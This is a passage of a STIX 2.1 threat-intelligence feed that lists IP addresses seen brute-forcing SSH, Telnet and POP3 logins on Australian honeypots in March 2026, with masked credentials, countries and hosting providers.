      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 246. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TN. ASN(s): 327934. Organisation(s): Tunisie-Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3**********4, 1*********y, 1*******1, 3***********4, 7******7.",
      "id": "indicator--52bff357-173e-42a5-9855-23f25ff39d35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.5.145.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*********y, 1*******1, 7******7.",
      "id": "indicator--2102d983-7ef3-44fc-80a2-876cdbf01281",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.159.53.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): r**t. Passwords observed (masked): 1**********Z.",
      "id": "indicator--86384632-733b-4981-9631-9ec4311873df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.181.124.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): s******y@bardengineering.com. Passwords observed (masked): B*****************5.",
      "id": "indicator--fb005515-1f1c-4218-8fb8-687948426059",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): e****s@bardengineering.com. Passwords observed (masked): B*****************3.",
      "id": "indicator--33496fe0-c856-45f6-aa64-bab0d00b4142",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): o****e@bardengineering.com. Passwords observed (masked): B*****************5.",
      "id": "indicator--e79fcb23-c1f9-42c7-aa06-b26c8f05e876",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 35612. Organisation(s): EOLO S.p.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******4, Q*******!, S*********9.",
      "id": "indicator--002ff2be-f9ea-4f84-b7dc-93145fea4956",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '88.147.30.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 66. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****6, P******d, a***n, a******3, a*******6.",
      "id": "indicator--253c1736-6d97-425b-b8da-7decc8e3537a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.150.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1***5, 1****6, 1******8.",
      "id": "indicator--220bccf5-a109-4fc4-bc80-a1000861c695",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.31.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****e, 1*******y, **, ***.",
      "id": "indicator--1f0cbba1-d14b-4488-9c12-83b8fe0ee0b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.110.252.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, v****3.",
      "id": "indicator--98a8e613-d897-4bf8-b8e0-ea0002207f13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '144.126.227.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 57. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****6, a***n, a******3, a*******6, l*****n.",
      "id": "indicator--e75fe590-3ed1-4a1b-9d55-3b839c5dfd38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.35.16.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--0e162f98-1a2b-4207-bb7a-f63edb90107c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--caf95241-7a6c-4854-94cc-6975f6424b77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): K**********#, k********1.",
      "id": "indicator--3d4c4524-ac4b-405b-b2d6-b271a9decdf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): f*****e@bardengineering.com. Passwords observed (masked): B******************4.",
      "id": "indicator--5b09fcbd-d051-4473-8653-cc78192f7f1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 129. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a***********r. Passwords observed (masked): 1****6, P******d, l*****n, p******d, p******d.",
      "id": "indicator--734f8547-7c8a-4bf8-a9d3-d39ac2525515",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.103.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, a***n, p******d, r**t.",
      "id": "indicator--3481c05d-47f5-48b7-84c5-54babf73d83b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.214.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): k***********#, k***********$.",
      "id": "indicator--f5841e0f-8b1a-461b-829a-8561c1af3c57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, *, 1******R, 1******$.",
      "id": "indicator--2a1e2976-ab59-412c-8243-ec89d9fe8ff8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.249.89.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--f07d1bea-166c-4efe-8903-2865407cf9ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1******8, a***n, p******d.",
      "id": "indicator--55eea7bc-290f-4ee2-a460-aa666f51cf3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.38.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--2221b767-859e-4158-969f-35798a246027",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.140.103.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--61c5c136-fc3b-4dd9-ae18-684fab0f1d2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.253.5.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 6805. Organisation(s): Telefonica Germany.",
      "id": "indicator--06efa0fb-c3f7-4774-885d-5e75056532fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.11.28.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): **@bardengineering.com. Passwords observed (masked): B******************4.",
      "id": "indicator--a9e5e7dd-0dd3-4b4f-8532-42f878adad82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****1, 1******3, 3***********4, 3**********4, P**********4.",
      "id": "indicator--bcfd17b1-d477-488c-be2f-5e5761bdb619",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.106.35.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T13:15:14.000Z",
      "valid_until": "2026-04-04T13:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): 1******A, R********1, p********@, s******n.",
      "id": "indicator--41c418c2-cac4-4ac4-ad86-d11ba3f18d39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.106.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 195. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, r**t, t**t, u**r. Passwords observed (masked): 1********0, a******3, p*******1, ***, 1**4.",
      "id": "indicator--adcd54a1-9a6b-4ca4-8124-10a699a7faf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.248.253.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 496. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, c****s, u****u, t**t. Passwords observed (masked): 1****6, 0****0, 1****1, ***, 1****3.",
      "id": "indicator--a5abc64c-ac6b-4d0b-8da6-51adf5d4cec0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.198.48.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 176. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 9891. Organisation(s): CS LOXINFO Public Company Limited.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, B********3, L******6, Z*******@.",
      "id": "indicator--aa9f8168-d9fd-436a-bd45-4d6caa93411d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.50.227.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 199785. Organisation(s): Cloud Hosting Solutions, Limited.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********c, 1******2, 3***********4, 3**********4, 3******V.",
      "id": "indicator--9f0af63f-722f-44c5-b9ec-ee9570ffdcad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '150.241.113.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 596. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, c****s, t**t, u****u. Passwords observed (masked): 0****0, 1****1, ***, 1****3, 1**4.",
      "id": "indicator--b3e22f07-020c-44cf-b219-cb12ea30a102",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.162.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1*******9, a***n.",
